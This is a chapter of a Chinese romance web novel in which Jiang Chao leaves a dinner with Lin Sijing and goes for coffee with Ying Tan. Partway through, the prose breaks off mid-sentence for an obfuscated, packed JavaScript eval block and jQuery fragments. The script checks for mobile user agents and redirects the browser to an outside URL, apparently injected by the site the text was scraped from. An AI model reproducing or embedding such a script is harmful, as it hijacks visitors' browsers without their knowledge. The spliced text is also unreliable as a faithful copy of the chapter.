35. 第 35 章

作品:《夜莺与野犬

    江潮与林斯敬确实许久没有见过面了。


    那年乐队解散,她前往国外读书。林斯敬则收了心,回到家中公司。


    后来江潮几次回国,他都在其他城市出差。直至大三那年,她家中出事,他得知消息,特意从外地赶了回来。


    话题转到毕凯伦的派对,林斯敬状若无意地问起,是谁向她发了邀请。


    江潮提起许甘,而林斯敬微微一愣,神色染上感慨。


    “咱们几个也好久没聚了。”


    他摇头:“当年是我的问题,爷爷去世,家里一团糟,结果冲着朋友撒气。”


    “小甘过年时应该会回来。”江潮掌心撑着脸,应,“到时候叫上陈勉哥,大家一起见见面。”


    银色刀叉搁在碟沿,碗中浓汤渐渐转温。服务生在桌间忙碌,她无意识间一抬眼,目光往不远处落了一落。


    女孩儿浓密眼睫轻眨,原本手支着腮、微垂着肩,颇为放松的神态,却在那一瞬不自觉地坐直。


    餐厅二楼的走廊边,男人身形颀长,看不清侧脸,然而脖子上一处青色纹身,分明是她不久之前才见过的图案。


    江潮手执着汤匙细长的柄,盛起的汤忘了送入口中。下一瞬,那个男人转过身,一对浓眉压着黢黑狭长的眼,拾级而下。


    她放下支在脸颊边的手,手指微微曲起,指尖点在桌面上。


    应潭似是投来一瞥,他像遇到了什么烦心事,面无表情,嘴唇毫无弧度地抿着。


    视线对上,江潮眨了眨眼,露出一个礼貌的笑。


    男人仿若没有看见她,淡漠至极的眸光一触即离,大步流星地从桌间穿过。


    林斯敬抬起头,瞧见江潮凝视着他身后,一副微怔的模样,下意识循着她的目光回头。


    视野之中,有人往门外走去,背影颀长挺拔。他看了一眼,问:“怎么了?”


    江潮回过神,摇了摇头。


    “没事,”她话音微停,笑笑,“只是看到了认识的人。”


    碗底余下一层薄薄的汤,随着时间流逝,渐渐凉了个彻底。


    天气也在转凉,江潮起身,披上风衣,又裹好围巾。


    林斯敬体贴地帮她拿着包,忍不住笑:“波士顿不是很冷吗?你怎么一点儿都没被锻炼出来。”


    “其实还是有一些,”江潮答:“回来之后,我的袜子不用加绒了。”


    他们边说话,边往外走,经过水墨墙绘,林斯敬绅士道:“你在门口等等,我去把车开过来。”


    江潮点头说好。


    然而他还没走出几步,停车场最前排,他们左前方十来步之外,一辆漆黑的迈巴赫突兀鸣笛。


    林斯敬皱眉看过去,隔着前挡风玻璃,与驾驶座上神色冷峻的男人对上目光。


    他脚步骤然停下,瞳孔微眯,似是在回想辨认,而下一刻,那男人已然开门下车。


    “江潮。”


    熟悉的车辆,车牌也与印象中的隐约相同。


    江潮早已认出那是应潭的车,只是没有想到他在车上,更没想到他会突然下来,这般嗓音沉沉、眼神深深,喊出她的名字。


    短暂怔神,她很快弯眸微笑,“我刚才就在里面看见你了,好巧。你也来这里吃饭吗?”


    应潭走近几步,背着光,骨相更显深邃,“巧?”


    “不算巧,”他扯起唇角,近乎轻嗤,“我在等你。”


    江潮语气里疑惑难藏,“……等我?”


    秋风扬起落叶,林斯敬手中的车钥匙险些落了地。


    他重新跨上餐厅前的一层台阶,仿佛强势地插入打乱了那一片空气。


    “这不是以前的在曲溪的那位……我记得是叫应潭吧?”


    林斯敬余光瞥向他身后的车辆,似笑非笑地打招呼,“你来申城了啊。现在在车行里上班么?”


    应潭看过去,口吻不冷不淡,“林先生的眼力见还是与以前一样差。”


    林斯敬唇边笑意倏然消失不见。


    空气寂静,有顾客从身后餐厅里推门出来,好奇地投来打量目光。


    二人针锋相对的气息太过明显,江潮睁着眼眸,有些茫然,在短暂迟疑后转头看向应潭,想将话题扯开,“你等我做什么?”


    应潭掀了掀眼皮。


    他看向江潮,神态疏冷,却像是在讨债:“江小姐是不是忘了,还欠我两顿饭局?”


    江潮怎么会忘,分明是他一直没有回复她的微信信息。


    于是她难免猜测,他一步一步走到今天的地位,平日里大概十分忙碌。她说要请客还人情,或许他根本不在意,早就将这件事忘在了脑后。


    她张了张口,还未来得说话,身侧男人便先一步开口。


    “欠你什么?饭局?不好意思,”林斯敬扯起江潮的手腕,反唇相讥:“今天她有约了,你的眼力见好像也不怎么样。”


    应潭视线下落,停留在男人搭着她纤细手腕的手指上,复而抬眼。


    他像是在反问林斯敬,黑眸却一眨不眨地盯着江潮:“是吗?”


    “听贺总说,有人想要请我上醉肴。”男人扯扯唇角,微不可察的弧度却泛着冷,“看来是他会错了意。”


    ——贺总?


    贺宛廷?


    江潮怔住,一双漂亮的桃花眼倏然睁圆,唇齿亦然微张。


    在暗地里帮助她的人,竟然是应潭?


    震愕与惊诧交织,她思绪空白一瞬。下一个瞬间,应潭仿若读懂她的神态,转过身,抬步往车边走。


    “……等等。”


    江潮回过神来,下意识挣脱林斯敬的手,向前几步。而林斯敬愣了一下,追上前,皱眉问:“什么意思?溱溱?”


    他语气暗藏不快,“你们俩之间到底发生了什么?”


    应潭人高腿长,已然开门上车,启动引擎。


    江潮止住脚步,本就没有理清的思绪愈发凌乱,不理解应潭为什么会暗中帮她找人脉。


    她想到过很多个名字,其中唯独没有他。


    迈巴赫驶出车位,利落地在她眼前停下。就像那天在群星娱乐楼底,也像是暴雨夜中的餐厅之外。


    他降下车窗,没有看她,语气很淡,“上车。”


    林斯敬脸色难看。


    江潮不知道事情怎么会发展到这个地步,一切都糊里糊涂,她好像被莫名其妙地推上了一座独木桥,要选择去往的方向。


    她咬了一下唇侧,匆匆做了决定:“斯敬哥,不好意思……我还有些事要问他,之后再跟你解释。”


    车门关上,紧接着毫不留念地驰离。


    林斯敬的身影被落在车后,看不清神色。


    江潮坐在车里,一颗心跳得有些快,眼睫掀动的频率也更频繁。


    男人斜睨一眼,分明光明正大地将她从另一个人身边短暂夺走,眉梢眼尾却仿若仍旧浸在冰冷寒意里。


    斯敬哥?


    叫得真他妈亲昵。


    他长眉紧压着眼,沉默片刻后开口,嗓音冷而沉,平铺直述地提醒:“安全带。”


    江潮反应过来,低头,将安全带系紧。


    车里的温度有些高,她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13758932|142797||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    攥着围巾一角,平复心情后扭头,叫了一声“应潭”。


    “你之前说的贺总,是贺宛廷吗?”


    应潭看着前方车道,“嗯”了一声。


    围巾尾端毛茸茸的流苏被缠绕在指尖,江潮心绪复杂,眼眸眨了几下,忍不住问:“你为什么要帮我?”


    车厢里寂静下来。


    车载音乐没有开启,车窗同样紧闭着,呼啸风声被悉数阻隔。


    江潮攥着流苏,看他,迟疑地张了张口,却又没有发出声音。


    他静默一刹,没有什么表情,反问:“你当初又为什么要帮我?”


    手指力道微松,流苏从指缝间垂落。


    江潮不自觉绷紧的肩颈放松下来,心尖无意识压下的石头也消失不见了。


    原来……


    原来他是在报答从前的人情吗?


    “可我以前其实也没有做过什么,”


    她轻声说,松懈后声音带着坦然,“只不过是一些举手之劳,任何人都能做到。”


    应潭察觉到她松了的那一口气,嗓音近乎是冷漠的。


    “我做的事,也只是举手之劳。”


    或许对他而言的确是这样,但对江潮来说意义非凡。


    她不知该怎么道谢才最为恰当,言语太过单薄,她应当做些什么,却又不知自己还能为如今的他做什么。


    马路街边,一家咖啡厅映入视野,应潭心底仿佛有无名火在烧,余光瞥见,倏然向右侧打了方向盘。


    车停在路边,他下车,拉开她的车门,稍稍俯身,掌心撑着车顶。


    “你也吃不下了,”


    衬衣因着弯腰的幅度而略微绷紧,应潭眉眼冷然未消,眸底暗光意味不明,“这一次的饭局,不如用咖啡相抵。”


    江潮抬眸看他,怔了一怔,应了声好。


    咖啡厅内人并不多,咖啡师在台后忙碌,听见有客人进来,转过头,先招呼了一声“下午好”,紧接着愣了一愣。


    开门而入的男人大步走近,面容轮廓如欧洲人般深邃,眉眼鼻唇又是亚洲人的英俊皮相。


    他疏冷面容染着淡淡的戾气,开口点了两杯冰美式。


    站在他身侧的姑娘亦然漂亮高挑,长相清冷,仿若雪山上的高岭之花,神态却柔和如月。


    她拿着手机准备付账,在听见男人点单之后,似乎愣了一愣,出声:“我……”


    那男人眉眼间戾意更沉,头也不回地打断,“不准点拿铁。”


    他的嗓音冷到仿佛沾了冰,咖啡师面带营业微笑,视线却在他俩之间来回转悠,八卦之意近乎溢出眼睛。


    江潮眼眸眨了一下,意外又疑惑。


    “……我是想说,”她看向咖啡师,“其中一杯要少冰。”


    应潭似乎微微一顿,稍稍偏过脸来。


    咖啡师应声转身,江潮目光又落向应潭。


    那句不准点拿铁是什么意思,她心生困惑,不明所以地开口:“我也比较喜欢喝冰美式。”


    这么多年过去,她的喜好也早已有了变化。


    男人稍稍一默。


    他静了几秒钟,睨她,“改口味了?”


    ……他知道她以前喜欢喝拿铁吗?


    江潮愈发茫然,瞥见他一脸淡然的神态,又觉得或许是自己多想。


    “嗯,”她只是答,“改了。”


    有人从过道边经过,他单手插在口袋里,稍稍侧身避让,别开了眼。


    “哦,”浑身冷意因她的一句话而无声无息地消融,他的口吻却平淡,“明智的选择。”